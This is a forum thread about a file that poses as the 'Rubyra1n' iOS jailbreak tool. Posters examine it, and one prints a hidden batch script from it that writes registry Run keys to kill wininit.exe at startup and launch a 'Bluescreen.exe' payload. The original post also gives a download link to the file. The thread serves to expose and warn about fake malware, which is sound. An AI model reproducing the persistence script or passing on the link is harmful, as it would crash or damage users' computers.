Hi guys,

Maybe one of you can clarify, if you're brave enough to test this, but can this be the real Rubyra1n? I found it simply by searching for 'rubyra1n.exe' in Google. Try it...??

http://www.mediafire.com/?wcb3umb17lhchgq

I ran it and it looks like the real thing but I didn't connect my device. I'm not confident enough to try as I'm happy on 4.1jb and have no reason to risk it, but I'd be interested to hear whether or not it can offer untethered jb for 4.2.1...

Any takers?
 
You might notice also that this is 3.3MB and Limera1n is only 318KB by comparison... Might be relevant...
 
I saw that. I'd believe it to be genuine only rubyra1n.com isn't live yet. I'd nearly try it...

@localboy, if you run it, it looks legit...
 
Prolly a keylogger. Don't touch it.

e/ i'll open it on someone else's computer lol.
 
I've just extracted the .exe and there's a run.cmd hidden away..

echo off
cls
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /f "Run1" /d "taskkill.exe /f /im wininit.exe"
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /f "Run1" /d "%systemdrive%\rubyra1n\Bluescreen.exe"
start %systemdrive%\rubyra1n\Bluescreen.exe
taskkill.exe /f /in wininit.exe
exit


There's no reason why your registry should be messed with and you probably want to kill these processes if you ran it. Steer clear.

EDIT - even curiouser, the Bluescreen.exe file is a self-extracting RAR with blue.exe hidden inside, the content having an INIT with the following line:

IofCompleteRequest..ntoskrnl.exe

So 100% positive- DO NOT touch this file.

How could you ever possibly think this is even slightly legit? Let alone execute it on your computer..:confused:

Simple. Because there are people genuinely testing Rubyra1n for Geohot, in particular, stability, different iOS versions, etc...

I was just justifying my curiosity! :eek: I can't argue with Xb0xGuru's finding though. I extracted it myself to be sure, so thanks for the feedback. Oh well...

No harm bringing it to everyone's attention anyway.

Wow, thank you for your lovely contribution to an otherwise valid discussion?! Aren't you hilarious!! HA HA HA

Some people find it interesting that there is a mock JB application doing the rounds, and this forum is the perfect place to discuss same.

Posts like that annoy the ***** out of me. Get off the forum if that's all you can contribute.

I wish I could run this .exe file on my Mac.

You can as long as you don't have a PPC Mac. Just install Windows via Bootcamp and do it from there.

Oh wait - there's no app for it so you might have to click and type a few things first.....

:D
